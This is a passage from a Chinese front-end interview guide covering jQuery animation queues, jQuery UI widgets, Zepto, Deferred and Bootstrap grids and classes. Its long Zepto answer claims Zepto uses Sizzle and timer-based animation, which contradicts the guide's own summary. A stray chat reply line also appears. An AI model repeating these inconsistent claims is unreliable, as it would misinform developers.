  1. 采用 jQuery 的内部函数 data() 来存储数据:
// 不优化的写法
$(".item").attr("data-value", "123");

// 优化后的写法
$(".item").data("value", "123");

这些示例代码展示了如何应用上述优化方法,根据具体的使用场景选择相应的优化方法可以提高 jQuery 代码的性能和执行效率。

# 13 jQuery 的 slideUp 动画,当鼠标快速连续触发, 动画会滞后反复执行,该如何处理呢

⚡ 30 秒速记

  • 成因:每次触发都往动画队列里塞一个任务,队列积压导致动画排队播放
  • 解法一:先 stop(true, true) 清空队列并跳到终态,再执行新动画
  • 解法二:用 :animated 判断,正在动画中就直接 return
  • 解法三:给触发本身加防抖,减少入队次数
  • 通用思路:任何"队列 + 高频触发"的场景都要考虑清队列或加节流 —— 这是这题真正的考点

可以在执行 slideUp() 前调用 stop(),终止正在进行的动画,再启动本次动画。 鼠标连续触发时,每次事件都会再次执行动画,因此前面的动画还没结束,后面的调用就会不断累积。比如在 mouseover 中使用 $(".element").stop().slideUp(),可以避免动画反复滞后。也可以用 setTimeout 延迟执行,但延迟时间需要结合实际交互效果来取舍。

当鼠标快速连续触发导致动画滞后反复执行时,可以采取以下两种处理方式:

  1. 设置延迟处理:
  • 在触发元素上的事件处理函数中,使用 setTimeout 方法来延迟执行动画,从而避免快速连续触发造成动画滞后反复执行的问题。
$(".trigger").on("mouseover", function() {
  setTimeout(function() {
    $(".element").slideUp();
  }, 200);
});

上述代码中,通过设置 200 毫秒的延迟,在每次触发事件时先延迟一段时间后再执行动画,从而确保动画能够顺利完成。

  1. 停止所有动画并执行相应动画:
  • 在触发元素的事件处理函数中,可以先使用 stop 方法停止所有正在进行的动画,然后再执行相应的动画事件。
$(".trigger").on("mouseover", function() {
  $(".element").stop().slideUp();
});

通过调用 stop 方法,可以立即停止所有正在进行的动画,并清除动画队列,然后再执行新的动画事件。这样可以避免动画滞后反复执行的问题。

以上两种处理方式可以根据具体的情况选择使用,以确保动画的正常执行。

# 14 jQuery UI 如何自定义组件

⚡ 30 秒速记

  • 用 $.widget('namespace.widgetName', { options, _create, _init, _setOption, destroy }) 定义
  • 生命周期:create 只在首次创建时跑一次,init 每次调用都会跑
  • 组件实例挂在元素的 data 上,可通过 $(el).widgetName('method') 调用方法
  • 支持继承已有 widget:$.widget('ns.child', $.ns.parent, {...})
  • 今天的等价物:Web Components(customElements.define)或框架的组件体系

自定义 jQuery UI 组件可以调用 $.widget("ns.widgetName", [baseWidget], widgetPrototype),把组件名称、可选基类和原型对象传进去。 原型对象里通常定义 options、_create()、_refresh() 和 _setOption(),分别负责默认配置、初始化、刷新外观与响应配置变化。需要复用现有能力时可以传入基础组件进行扩展,否则可以省略。组件创建后,既能直接初始化,也能通过 option 修改具体配置。

通过向 $.widget() 方法传递组件名称和一个原型对象,可以自定义 jQuery UI 组件。具体的使用方法如下:

$.widget("ns.widgetName", [baseWidget], widgetPrototype);

其中:

  • "ns.widgetName" 是组件的名称,命名空间(ns)和组件名称(widgetName)可以根据实际情况进行替换。
  • [baseWidget] 是可选参数,表示组件的基础组件,可以是其他已定义的 jQuery UI 组件,用于扩展和继承基础组件的功能。
  • widgetPrototype 是一个包含组件方法和属性的原型对象,用于定义自定义组件的行为和外观。

以下是一个示例代码,演示如何自定义一个简单的 jQuery UI 组件:

$.widget("custom.customWidget", {
  // 组件的默认选项
  options: {
    color: "blue",
    fontSize: 12
  },

  // 组件的创建函数,初始化组件
  _create: function() {
    this.element
      .addClass("custom-widget")
      .text("Custom Widget");

    this._refresh();
  },

  // 刷新组件,根据选项更新外观
  _refresh: function() {
    this.element.css({
      color: this.options.color,
      fontSize: this.options.fontSize + "px"
    });
  },

  // 设置选项的方法
  _setOption: function(key, value) {
    this._super(key, value);
    this._refresh();
  }
});

上述示例中,定义了一个名为 customWidget 的自定义组件。组件具有默认选项 color 和 fontSize,在创建函数 _create 中初始化组件,并在 _refresh 方法中根据选项更新外观。使用 _setOption 方法来设置选项并触发刷新。

使用自定义组件时,可以通过以下方式进行初始化和设置选项:

$("#myElement").customWidget(); // 初始化自定义组件

$("#myElement").customWidget("option", "color", "red"); // 设置选项

通过以上方式,可以自定义 jQuery UI 组件并进行初始化和配置。

# 15 jQuery 与 jQuery UI、jQuery Mobile 区别

⚡ 30 秒速记

  • jQuery:核心库,负责 DOM 操作、事件、动画、Ajax
  • jQuery UI:基于 jQuery 的 UI 组件库(对话框、日期选择、拖拽排序)+ 主题系统
  • jQuery Mobile:面向移动端的整套 UI 框架,含页面路由和触摸手势,早已停止维护
  • 三者都已退出主流:现在组件库用 Ant Design / Element Plus,移动端用 Vant / antd-mobile
  • 面试遇到只需说清定位差异和"已过时"这个事实

jQuery 是基础 JavaScript 库,jQuery UI 是基于它的界面组件库,而 jQuery Mobile 面向移动 Web 应用。 jQuery 主要简化 DOM 操作、事件、动画和 AJAX,解决的是通用网页开发问题。需要对话框、拖拽、排序或主题时,可以使用 jQuery UI。如果场景侧重移动设备的页面导航、表单和触摸交互,则 jQuery Mobile 的定位更合适,选择时要看目标设备和界面需求。

  • jQuery 是一个功能强大的 JavaScript 库,主要用于简化和增强 JavaScript 开发中的 DOM 操作、事件处理、动画效果和 AJAX 请求等。它主要面向 PC 浏览器环境,使开发者能够更方便地操作和操控网页元素。
  • jQuery UI 则是建立在 jQuery 库的基础上的一个用户界面库。它提供了一系列交互性的特效、小部件和主题,用于创建丰富而美观的用户界面。jQuery UI 的组件包括对话框、拖拽、排序、自动完成等,开发者可以根据自己的需要选择和配置相应的组件。
  • jQuery Mobile 是一个专门针对移动设备的框架,也是基于 jQuery 的。它提供了一套用于构建移动 Web 应用的工具和组件,使开发者能够快速创建适配移动设备的界面和交互效果。jQuery Mobile 的组件包括页面导航、按钮、表单元素、触摸事件等,可以帮助开发者构建具有响应式和触摸友好的移动应用程序。

综上所述,jQuery 主要用于 PC 浏览器环境下的 Web 开发,jQuery UI 则提供了丰富的用户界面组件和主题,而 jQuery Mobile 则专注于移动设备上的 Web 应用开发。每个库都有自己的特点和应用场景,可以根据具体的需求选择使用。

# 16 jQuery 和 Zepto 的区别? 各自的使用场景

⚡ 30 秒速记

  • Zepto 是 jQuery 的移动端轻量替代,API 高度兼容但体积小很多(约 1/3)
  • 实现差异:Zepto 直接依赖现代浏览器 API(querySelectorAll、classList),不做 IE 兼容;动画用 CSS3 transition 而不是 JS 定时器
  • Zepto 采用模块化按需引入,jQuery 是全量
  • 场景(历史):PC 端兼容老浏览器用 jQuery,移动端用 Zepto
  • 今天两者都已过时,移动端直接用原生 API + 现代框架

jQuery 更偏向功能完整和浏览器兼容,Zepto 则面向移动端,强调轻量和性能。 两者的 API 比较接近,都能处理 DOM、事件和动画,但 Zepto 对桌面浏览器的兼容性不如 jQuery。需要兼顾多种浏览器的传统 PC 项目,我会选 jQuery;资源敏感的移动页面更适合 Zepto。如果是新项目,也要结合原生 API 和现代框架再做取舍。

你的总结很准确。

  • jQuery 是一个功能强大的 JavaScript 库,主要面向 PC 网页开发,并兼容主流的浏览器。它提供了丰富的功能和跨浏览器的兼容性,可以方便地进行 DOM 操作、事件处理、动画效果和 AJAX 请求等。在移动设备方面,jQuery 单独推出了 jQuery Mobile,用于移动端的 Web 应用开发。
  • Zepto 是一个专注于移动设备的 JavaScript 库,它的设计目标是提供轻量级的库并具有良好的性能。Zepto 的 API 基本兼容 jQuery,可以方便地进行 DOM 操作、事件处理和动画效果等。由于它专注于移动设备,所以在移动端的性能和兼容性方面表现更好。然而,在 PC 浏览器上的兼容性并不如 jQuery。

因此,jQuery 主要用于 PC 网页开发,适用于需要广泛兼容各类浏览器的项目。而 Zepto 则更适用于移动设备的开发,尤其是在对性能和轻量级要求较高的移动应用中。根据具体的项目需求和目标平台选择合适的库是很重要的。

# 17 jQuery对象的特点

⚡ 30 秒速记

  • 是一个类数组对象:有 length、有数字索引,但不是真正的 Array(没有 map/filter 等数组方法,jQuery 自己另外提供了同名方法)
  • 内部保存的是原生 DOM 元素的集合
  • 所有方法支持链式调用(return this)
  • 隐式迭代:$('.item').hide() 会对集合里每个元素都执行,不用自己写循环
  • 转换:$(el) 把原生转 jQuery;$obj[0] 或 $obj.get(0) 取原生元素;$obj.toArray() 转真数组

jQuery 对象本质上是包装了一组原生 DOM 元素的类数组对象。 它有数字索引和 length,但不是真正的数组,元素遍历通常使用 .each() 等 jQuery 方法。它还支持隐式迭代和链式调用,例如对集合执行 .hide().fadeIn(),每个元素都会被处理。需要原生节点时,可以通过 [0] 或 .get(0) 取出。

  • jQuery 对象是由 jQuery 构造函数创建的对象,它是一个类数组对象。
  • jQuery 对象是通过选择器选择的一组元素,可以对这组元素进行操作和处理。
  • jQuery 对象具有 jQuery 库提供的一系列方法,可以方便地进行 DOM 操作、事件处理、动画效果和数据交互等。
  • jQuery 对象可以使用 jQuery 的方法进行链式调用,提高代码的简洁性和可读性。

需要注意的是,jQuery 对象并不是真正的数组,虽然它类似于数组,但不具备数组的所有特性。但可以使用类数组对象的一些方法,如 .each() 和 .length。

示例:

var $divs = $('div'); // 选择所有的 div 元素,返回一个 jQuery 对象
console.log($divs.length); // 输出 div 元素的数量

$divs.hide().fadeIn(); // 链式调用方法,隐藏 div 元素然后淡入显示
$divs.each(function() {
  // 遍历每个 div 元素并执行回调函数
  console.log($(this).text()); // 输出每个 div 元素的文本内容
});

总结起来,jQuery 对象是一个特殊的对象,它代表了一组元素,并提供了方便的方法和链式调用,以简化对这组元素的操作。

# 18 Zepto的实现原理

⚡ 30 秒速记

  • 和 jQuery 一样是"包装器 + 原型共享"模式,但实现大幅简化
  • 选择器直接用 querySelectorAll,不带 Sizzle
  • 动画用 CSS3 transition/animation,不用 JS 逐帧计算
  • 事件基于原生 addEventListener 封装,支持委托和命名空间
  • 按模块拆分(zepto、event、ajax、form、ie),按需打包
  • 面试价值在于"读过源码"这件事本身,不在于 Zepto 这个库

Zepto 的实现思路是基于原生浏览器能力做一层轻量封装,提供接近 jQuery 的调用方式。 它通过选择器引擎完成元素查询,再用原生 DOM API 封装增删改查;事件部分则建立在原生事件机制之上,提供 .on()、.off() 等接口。动画通过修改 CSS 属性并配合定时器完成,异步请求基于 XMLHttpRequest。它也支持插件扩展,但并不保证兼容 jQuery 的全部功能。

Zepto 是一个轻量级的 JavaScript 库,旨在提供类似于 jQuery 的功能,但专注于移动设备的 Web 开发。它的实现原理如下:

  1. 核心选择器功能:Zepto 使用 CSS 选择器引擎 Sizzle 来实现元素的选择和遍历。Sizzle 是一个独立的选择器库,它使用了 CSS3 选择器语法和一些扩展来支持复杂的选择操作。
  2. DOM 操作:Zepto 封装了一系列 DOM 操作方法,如添加、删除、修改和查询元素等。它通过原生 DOM API 来实现这些方法,并对其进行了封装和优化,以提供更便捷的操作接口。
  3. 事件处理:Zepto 提供了一套事件处理机制,通过绑定和触发事件来实现交互功能。它使用原生的 DOM 事件来处理事件,并提供了一些简化和增强的方法,如 on()、off()、trigger() 等。
  4. 动画效果:Zepto 支持基本的动画效果,如淡入淡出、滑动、渐变等。它通过改变元素的 CSS 属性值和使用定时器来实现动画效果,同时对动画进行了优化,以提高性能和流畅度。
  5. AJAX 请求:Zepto 提供了简单的 AJAX 功能,可以发送异步请求并处理服务器返回的数据。它使用原生的 XMLHttpRequest 对象来实现 AJAX 请求,并提供了一些便捷的方法,如 $.ajax()、$.get()、$.post() 等。
  6. 扩展插件:Zepto 支持通过插件扩展其功能。开发者可以根据需要编写自定义插件,并将其集成到 Zepto 中,以提供更多的功能和特性。

总体而言,Zepto 的实现原理是基于原生的 DOM API 和一些辅助库,通过封装和优化,提供了类似于 jQuery 的功能,并专注于移动设备的 Web 开发。它的目标是提供简洁、高效的代码,以满足移动设备上的性能和资源要求。

以下是 Zepto 的一些常见用法示例代码:

  1. 选择器和 DOM 操作:
// 通过选择器获取元素并操作
var $element = $('.my-element');
$element.addClass('highlight');
$element.text('Hello, Zepto!');

// 创建新元素并插入到页面中
var $newElement = $('<div class="new-element">New Element</div>');
$('body').append($newElement);
  1. 事件处理:
// 绑定事件处理函数
$('.my-button').on('click', function() {
  console.log('Button clicked!');
});

// 解绑事件处理函数
$('.my-button').off('click');

// 触发自定义事件
$('.my-element').trigger('customEvent');
  1. 动画效果:
// 淡入淡出效果
$('.my-element').fadeIn();
$('.my-element').fadeOut();

// 滑动效果
$('.my-element').slideDown();
$('.my-element').slideUp();

// 渐变效果
$('.my-element').animate({ opacity: 0.5 }, 500);
  1. AJAX 请求:
// 发送 GET 请求
$.get('https://api.example.com/data', function(response) {
  console.log('Response:', response);
});

// 发送 POST 请求
$.post('https://api.example.com/data', { name: 'poetry', age: 25 }, function(response) {
  console.log('Response:', response);
});

这些示例代码展示了 Zepto 的一些常见用法,包括选择器和 DOM 操作、事件处理、动画效果以及 AJAX 请求。请注意,Zepto 的用法与 jQuery 类似,但并不完全兼容 jQuery 的所有功能和方法。

# 19 是否用过 jQuery 的 Deferred

⚡ 30 秒速记

  • Deferred 是 jQuery 在 Promise 标准化之前自己实现的异步方案
  • 用法:const d = $.Deferred(); d.resolve(v) / d.reject(e);d.promise() 暴露只读的 promise 对象
  • $.when(...) 等价于 Promise.all;done/fail/always 分别对应 then 的成功分支、失败分支和 finally
  • jQuery 3.0 起 Deferred 已与 Promises/A+ 规范兼容(早期版本不兼容,是常见的坑)
  • 今天直接用原生 Promise 和 async/await,Deferred 只在维护老代码时会遇到

Deferred 是 jQuery 用来组织异步流程的一套方案,作用和后来的 Promise 比较接近。 创建对象后,可以用 .resolve() 或 .reject() 改变状态,并通过 .done()、.fail()、.always() 分别处理成功、失败和结束逻辑。对外只暴露 .promise(),可以避免调用方随意修改状态。维护老的 jQuery 项目时经常会遇到它,新代码通常直接使用原生 Promise 或 async/await。

# 五、Bootstrap相关

# 1 什么是Bootstrap?以及为什么要使用Bootstrap?

⚡ 30 秒速记

  • Twitter 开源的 CSS 框架,提供响应式栅格、预设组件和工具类,让不懂设计的人也能快速搭出像样的界面
  • 价值:统一视觉规范、响应式开箱即用、跨浏览器兼容已处理好、社区和模板生态大
  • 代价:页面容易长得都一样、类名侵入 HTML、定制主题要改 Sass 变量、体积偏大
  • 现状:Bootstrap 5 已去掉 jQuery 依赖,但新项目更常用 Tailwind(原子类)或组件库(Ant Design / Element Plus)
  • 面试价值:考的是你对"栅格系统"和"响应式断点"的理解,不是记类名

Bootstrap 是一个基于 HTML、CSS 和 JavaScript 的开源前端框架,用来快速搭建响应式、移动优先的网页。 它把常见布局、样式和交互封装成统一组件,能减少重复开发,让页面更快成形。它还处理了不同屏幕的适配和主流浏览器兼容问题,并提供了完善的文档与社区支持。需要快速交付后台或通用网站时很合适,但具体界面仍要结合业务需求选择和调整组件。

Bootstrap是一个流行的开源前端框架,用于快速构建响应式和移动优先的网站和Web应用程序。它基于HTML、CSS和JavaScript,并提供了一套预定义的样式和组件,使开发人员能够快速构建现代化、美观和功能丰富的界面。

使用Bootstrap的原因如下:

  1. 快速开发: Bootstrap提供了大量的预定义样式和组件,开发人员可以通过简单地应用这些样式和组件来快速构建页面和布局。这样可以节省大量的时间和精力,加快项目的开发速度。
  2. 响应式设计: Bootstrap具有响应式设计的特性,能够适应不同屏幕大小和设备类型的展示。无论是在桌面电脑、平板还是手机上,页面都能够自动适配和呈现最佳的用户体验。
  3. 浏览器兼容性: Bootstrap经过广泛的测试和优化,能够在各种主流浏览器中保持一致的显示效果和功能。开发人员不需要为不同浏览器的差异而担心,可以放心地使用Bootstrap来开发跨浏览器兼容的网站和应用程序。
  4. 组件丰富: Bootstrap提供了大量的UI组件,例如导航菜单、按钮、表格、表单、模态框等,这些组件具有统一的样式和交互效果,可以快速构建出现代化的用户界面。
  5. 社区支持和文档丰富: Bootstrap拥有庞大的开发者社区,有许多开发者在使用和贡献Bootstrap,因此可以轻松获取到各种问题的解答和技术支持。此外,官方提供了详细的文档和示例,开发人员可以方便地学习和使用Bootstrap。

总而言之,使用Bootstrap可以使开发人员更加高效地构建现代化的网站和Web应用程序,减少重复工作,提高开发速度,并确保页面具有良好的用户体验和浏览器兼容性。

# 2 使用Bootstrap时,要声明的文档类型是什么?以及为什么要这样声明?

⚡ 30 秒速记

  • <!DOCTYPE html>,即 HTML5 文档类型
  • 原因:不写或写错会让浏览器进入怪异模式(Quirks Mode),盒模型退化成 IE 算法,栅格的宽度计算全乱
  • Bootstrap 全部基于标准模式下的 border-box 盒模型设计
  • 同时还要写 <meta name="viewport" content="width=device-width, initial-scale=1">,否则移动端响应式失效
  • 这题本质考的是 DOCTYPE 的作用,和第一章第 16 题同一个考点

使用 Bootstrap 时,应在 HTML 文件开头声明 HTML5 文档类型,也就是 <!DOCTYPE html>。 这个声明会告诉浏览器按照现代标准解析和渲染页面,避免因文档类型不同而进入其他解析模式,影响样式和组件的一致性。它也让页面可以正常使用 HTML5 的语义化元素、属性和相关 API,并更容易通过 W3C 标准验证。简单来说,这既是 Bootstrap 正常工作的基础,也有利于页面在不同浏览器及未来 Web 环境中的兼容性。

在使用Bootstrap时,需要在HTML文件的开头声明HTML5文档类型(Doctype),即<!DOCTYPE html>。这是因为Bootstrap使用了一些HTML5的新特性、元素和CSS属性,而HTML5文档类型的声明能够告诉浏览器使用HTML5的解析方式来解析页面内容。

声明HTML5文档类型的重要性在于:

  1. 使用HTML5特性: 声明HTML5文档类型后,开发人员可以在页面中使用HTML5新增的元素、属性和API,如<section>、<header>、<footer>、<nav>等。这些新特性可以提供更好的语义化结构,以及更丰富和灵活的功能。
  2. 浏览器解析方式: 声明HTML5文档类型可以让浏览器按照HTML5的规范来解析和渲染页面,确保页面在各种浏览器中一致地显示。不同的文档类型会触发不同的浏览器解析模式,而HTML5的解析模式更符合现代化的标准和规范。
  3. 代码验证: 使用HTML5文档类型声明可以使代码通过W3C标准的验证,符合Web开发的最佳实践。W3C验证能够帮助开发人员发现和修复代码中的错误和潜在问题,提高代码的质量和可靠性。
  4. 未来兼容性: HTML5是Web发展的趋势和标准,使用HTML5文档类型声明可以确保页面在未来的Web环境中保持良好的兼容性。同时,它也是使用其他HTML5相关技术和框架的前提条件,如Canvas、Web Components等。

总之,声明HTML5文档类型是使用Bootstrap时的必要步骤,它能够确保页面能够正常使用Bootstrap提供的样式和组件,并且能够充分利用HTML5的新特性和浏览器解析方式,以获得更好的开发和用户体验。

# 3 什么是Bootstrap网格系统

⚡ 30 秒速记

  • 一套基于 flexbox(Bootstrap 4 起)的响应式栅格:容器 container → 行 row → 列 col
  • 把一行等分成 12 份,用 col-* 声明占几份,12 是因为它能被 2/3/4/6 整除,分栏灵活
  • 列之间通过负 margin + padding 制造间距(gutter),Bootstrap 5 改用 gap 类
  • 响应式靠断点前缀:col-sm-6 表示"≥576px 时占一半",小于该宽度自动堆叠成整行
  • 现代等价物:CSS Grid 的 repeat(12, 1fr) 或直接用 Flex,不需要框架

Bootstrap 网格系统是一套基于 12 列栅格、用于构建响应式页面布局的组件。 它通过 container、row 和列来组织内容,开发者只需指定元素占用的列数,就能灵活组合不同宽度。比如 col-md-6 表示在对应屏幕尺寸下占据一半宽度,视口变化时列会自动调整或重新排列。它适合快速统一桌面、平板和移动端布局,具体列宽也可以按不同尺寸分别设置并按需扩展。

Bootstrap网格系统是Bootstrap框架中的一个核心组件,用于创建响应式的网页布局。它基于一个12列的栅格系统,可以根据设备或视口的大小,将页面水平分割为不同的列。

关键特点如下:

  1. 响应式设计: Bootstrap的网格系统是响应式的,可以自动适应不同屏幕尺寸,从大屏幕到小屏幕,如桌面、平板和移动设备。网格系统的列会自动调整和重新排列,以适应不同的视口大小,从而提供更好的用户体验。
  2. 12列栅格系统: 网格系统将页面水平分为12列,并使用CSS的类来定义每个元素所占的列数。开发人员可以根据需要将元素放置在这些列中,从而创建灵活的布局。列数可以是整数,也可以是小数,以实现更精细的布局。
  3. 容器和行: 网格系统由容器(container)和行(row)组成。容器是网格系统的最外层包裹元素,用于限制网格内容的宽度,并提供水平的内边距。行是容器内的一行元素,用于包含网格列。每一行被分割为12个等宽的列。
  4. 列(Column): 列是网格系统的基本单位,位于行内,用于放置内容。开发人员可以通过为列添加CSS类来定义其所占的列数,如col-md-6表示该列占据父容器的一半宽度。可以根据需要在不同的屏幕尺寸上指定不同的列宽。

通过使用Bootstrap的网格系统,开发人员可以轻松创建具有灵活布局的响应式网页。网格系统提供了简单易用的类,使得网页元素可以自适应不同的屏幕尺寸,从而提供了一致的用户体验,并且可以根据需要进行自定义和扩展。

# 4 Bootstrap 网格系统(Grid System)的工作原理

⚡ 30 秒速记

  • container 提供固定或流式的最大宽度并留出左右 padding
  • row 用负 margin 抵消列的 padding,让内容与容器边缘对齐
  • col-* 用百分比宽度(col-6 = 50%)+ 左右 padding 形成 gutter
  • 断点通过媒体查询切换:无前缀(xs)、sm、md、lg、xl、xxl,采用移动优先的 min-width 写法
  • 列超过 12 份会自动换行;col 不带数字表示等分剩余空间
  • 一句话概括:百分比宽度 + 负 margin 抵消 + 媒体查询断点

Bootstrap 网格系统本质上是把页面横向分成 12 份,通过容器、行和列组合出不同宽度的布局。 row 放在 .container 中,列再作为 row 的直接子元素,这样容器负责宽度、对齐和内边距,行负责组织水平方向的列。列宽由预定义类控制,例如 .col-xs-4 占 4 份,也就是三分之一;列的 padding 形成间距,行的负 margin 再抵消外侧多出的空白。比如要排三个等宽区域,可以放三个 .col-xs-4,更复杂的布局则通过调整各列占用的份数来实现。

Bootstrap网格系统的工作原理如下:

  1. 容器(Container): 在使用Bootstrap网格系统之前,需要将行(Row)放置在.container类内。容器提供适当的对齐和内边距,并将网格内容限制在特定宽度范围内。
  2. 行(Row): 行用于创建列的水平组。行必须是容器的直接子元素。通过将元素放置在行内,可以将其划分为网格列,并确定它们在水平方向上的排列方式。
  3. 列(Column): 列是网格系统的基本单位,用于放置内容。列必须是行的直接子元素。使用预定义的网格类(例如.col-xs-4)可以快速创建网格布局。通过指定要横跨的列数,可以将内容放置在相应的列中,例如.col-xs-4表示占据12个列中的4个列,即1/3的宽度。
  4. 列间距(Gutter): 列之间的间距是通过列内的内边距(padding)来创建的。网格系统使用负外边距(margin)在行上来抵消列的内边距,从而实现列之间的间隔。这样可以确保列之间没有额外的空白间隙。
  5. 列宽度: Bootstrap网格系统将页面水平分为12列。通过指定要横跨的列数,可以控制列的宽度。例如,如果想要创建三个相等宽度的列,可以使用三个.col-xs-4,每个列占据12个列中的4个列,即1/3的宽度。

通过遵循以上原则,可以利用Bootstrap网格系统快速创建具有灵活布局的网页。网格类提供了简单且易于使用的方式来定义列的宽度和排列方式,而预定义的样式和混合类则可用于更高级的布局需求。

# 5 对于各类尺寸的设备,Bootstrap设置的class前缀分别是什么

⚡ 30 秒速记

  • Bootstrap 5 六个断点:无前缀(<576px)、sm(≥576)、md(≥768)、lg(≥992)、xl(≥1200)、xxl(≥1400)
  • 用法:col-md-6 表示"≥768px 时占 6 份",小于该宽度则回退到更小断点的设置或占满整行
  • 采用移动优先:断点都是 min-width,所以类名声明的是"从这个尺寸往上生效"
  • Bootstrap 3 的前缀是 xs/sm/md/lg(四个),4 起加了 xl,5 起加了 xxl
  • 记忆重点是"移动优先 + min-width"这个设计思路,具体数值可以查文档

Bootstrap 4 的网格前缀依次是 .col-、.col-sm-、.col-md-、.col-lg- 和 .col-xl-。 它们对应 <576px、≥576px、≥768px、≥992px 和 ≥1200px 这些尺寸范围。因为采用移动优先设计,超小设备不写尺寸前缀,其他前缀表示样式从对应宽度开始生效。比如 .col-md-6,通常用于控制中型及更大屏幕下的列宽。

  • 超小设备手机(<576px):.col-
  • 小型设备平板电脑(>=576px):.col-sm-
  • 中型设备台式电脑(>=768px):.col-md-
  • 大型设备台式电脑(>=992px):.col-lg-
  • 超大型设备台式电脑(>=1200px):.col-xl-

请注意,Bootstrap 4中的class前缀在移动优先的设计下发生了变化。超小设备手机没有前缀,而其他尺寸的设备都使用相应的前缀进行类名设置。这些前缀用于指定列的宽度和响应式行为。

# 6 Bootstrap 网格系统列与列之间的间隙宽度是多少

⚡ 30 秒速记

  • 默认 gutter 宽度 30px(Bootstrap 3/4)或 1.5rem = 24px(Bootstrap 5)
  • 实现方式:每列左右各 padding 一半(15px 或 12px),相邻两列拼起来就是完整的 gutter
  • row 用等值的负 margin 抵消,保证首尾列与容器边缘对齐
  • Bootstrap 5 可以用 g-、gx-、gy-* 类调整间距,也支持 g-0 取消
  • 原理和今天 Flex/Grid 的 gap 属性等价,只是 gap 更直接(不需要负 margin 这套 hack)

Bootstrap 网格系统默认的列间隙是 30px。 这个间隙并不是单独插入一个空白元素,而是由每列左右各 15px 的 padding 共同形成。相邻两列靠在一起时,两侧内边距相加正好得到 30px,本质上是用列内边距实现视觉分隔。调整列样式时要留意这层结构,避免重复添加间距导致布局变宽。

在 Bootstrap 中,默认的列与列之间的间隙宽度是 30px。这个间隙宽度是通过列的内边距(padding)来实现的,每个列的左右内边距都是 15px。这样可以在列与列之间创建一个空白间隔,用于提供视觉上的分隔和排列。

# 7 如果需要在一个标题的旁边创建副标题,可以怎样操作

⚡ 30 秒速记

  • 在标题标签内嵌一个 <small>:<h1>主标题 <small>副标题</small></h1>
  • Bootstrap 会给 small 设置更小的字号和更浅的颜色
  • Bootstrap 4+ 需要显式加类:<small class="text-muted">
  • 语义提醒:small 表示"附注",如果副标题是内容的一部分而非附注,用 <p> 或 <span> 加样式更合适
  • 现代做法直接写语义标签 + 自定义样式,不必依赖框架的类名

最直接的做法是在标题内部加入 <small>,例如 <h1>主标题 <small>副标题</small></h1>。 这样主标题和副标题处在同一个标题元素中,同时可以分别控制副标题的字号和样式。如果设计只需要较小的文字效果,也可以使用 .small 类并在 CSS 中定义样式。实际选择时,我一般看副标题是否需要独立标记:需要就用 <small>,只调整外观则可以用类。

要在一个标题的旁边创建副标题,可以使用以下两种方式进行操作:

  1. 使用 <small> 元素:在标题元素内部的旁边添加一个 <small> 元素,并在该元素中放置副标题的内容。示例代码如下:
<h1>主标题 <small>副标题</small></h1>

在上述示例中,<h1> 元素表示主标题,而 <small> 元素表示副标题。

  1. 使用 .small 类:给标题元素添加一个 .small 的类,然后在 CSS 中定义该类的样式。示例代码如下:
<h1 class="small">主标题</h1>

在上述示例中,通过给 <h1> 元素添加 .small 类,可以在 CSS 中为该类定义副标题的样式。

无论是使用 <small> 元素还是添加 .small 类,都可以在标题的旁边创建副标题,并通过样式进行调整。选择哪种方式取决于具体的需求和设计风格。

# 8 用Bootstrap,如何设置文字的对齐方式?

⚡ 30 秒速记

  • 工具类:text-start(左)、text-center(中)、text-end(右)—— Bootstrap 5 用逻辑属性命名
  • Bootstrap 3/4 是 text-left / text-center / text-right
  • 支持响应式:text-md-center 表示"≥768px 时居中"
  • 其它常用文本类:text-truncate(省略号)、text-nowrap、text-uppercase、text-muted
  • 为什么改名:start/end 是 CSS 逻辑属性,能自动适配从右到左(RTL)的语言 —— 这点是国际化的加分项

在 Bootstrap 中,可以分别使用 text-left、text-center 和 text-right 设置文字左对齐、居中和右对齐。 这些工具类可以直接加到 <p>、<h1> 或 <span> 等文本元素上,因为它们负责的是元素中文字的对齐方式。比如 <p class="text-center">居中文本</p> 就会让段落内容居中。简单来说,根据设计需要选择对应类即可,不必再单独编写一套对齐样式。

在 Bootstrap 中,可以使用以下类来设置文字的对齐方式:

  • text-center:用于将文本居中对齐。
  • text-right:用于将文本向右对齐。
  • text-left:用于将文本向左对齐。

这些类可以应用于任何文本元素,例如 <p>、<h1>、<span> 等。示例代码如下:

<p class="text-center">居中对齐的文本</p>
<h1 class="text-right">向右对齐的标题</h1>
<span class="text-left">向左对齐的文本</span>

通过给相应的元素添加适当的类,即可设置文本的对齐方式。请根据需要选择相应的类来实现所需的对齐效果。

# 9 Bootstrap如何设置响应式表格?

⚡ 30 秒速记

  • 给 table 加 .table 基础类,外面套一层 <div class="table-responsive">
  • table-responsive 的原理是给容器加 overflow-x: auto,窄屏时表格可横向滚动而不撑破布局
  • 可指定断点:table-responsive-md 表示"小于 md 时才可滚动"
  • 其它表格类:table-striped 斑马纹、table-hover 悬停高亮、table-bordered 边框、table-sm 紧凑
  • 无障碍提醒:横向滚动容器要加 tabindex="0" 让键盘用户能滚动,并配 role="region" + aria-label

给表格添加 table 类,再用带 table-responsive 类的容器把它包起来,就能创建响应式表格。 本质上是让容器在宽度不足时出现横向滚动,避免表格把小屏页面撑破。还可以按需叠加 table-striped、table-bordered 等样式类,但这些只控制外观,不负责响应式行为。

要创建响应式的表格,可以将表格包裹在具有 table-responsive 类的父元素中。这样可以使表格在小屏幕设备上水平滚动,并保持适当的显示。

下面是设置响应式表格的示例代码:

<div class="table-responsive">
  <table class="table">
    <!-- 表格内容 -->
  </table>
</div>

通过将表格包裹在具有 table-responsive 类的 <div> 元素中,即可实现响应式的表格。当表格在小屏幕设备上无法适应屏幕宽度时,用户可以通过水平滚动来查看表格的内容。

请注意,响应式表格需要使用 table 类来设置基本的表格样式。可以根据需要添加其他 Bootstrap 提供的表格类,如表格样式类(table-striped、table-bordered 等)和表格颜色类(table-primary、table-success 等)等。

# 10 使用Bootstrap创建垂直表单的基本步骤?

⚡ 30 秒速记

  • 默认就是垂直(堆叠)布局:<form> 内每组用 <div class="mb-3"> 包住 label + input
  • label 加 class="form-label",输入框加 class="form-control"
  • label 的 for 必须与 input 的 id 对应 —— 这是无障碍的硬性要求,点击文字能聚焦输入框
  • 帮助文本用 <div class="form-text">,校验反馈用 valid-feedback / invalid-feedback
  • Bootstrap 3 用 form-group 类,4/5 改用间距工具类 mb-3

创建一个 <form>,把每组标签和控件放进 form-group 容器,再给输入框、文本域或下拉框添加 form-control 类。 这样各表单项会按垂直方向排列,并获得 Bootstrap 提供的间距和控件样式。label 的 for 应与控件的 id 对应,点击标签时才能定位到相应控件;需要更多字段时,继续按相同结构添加即可。

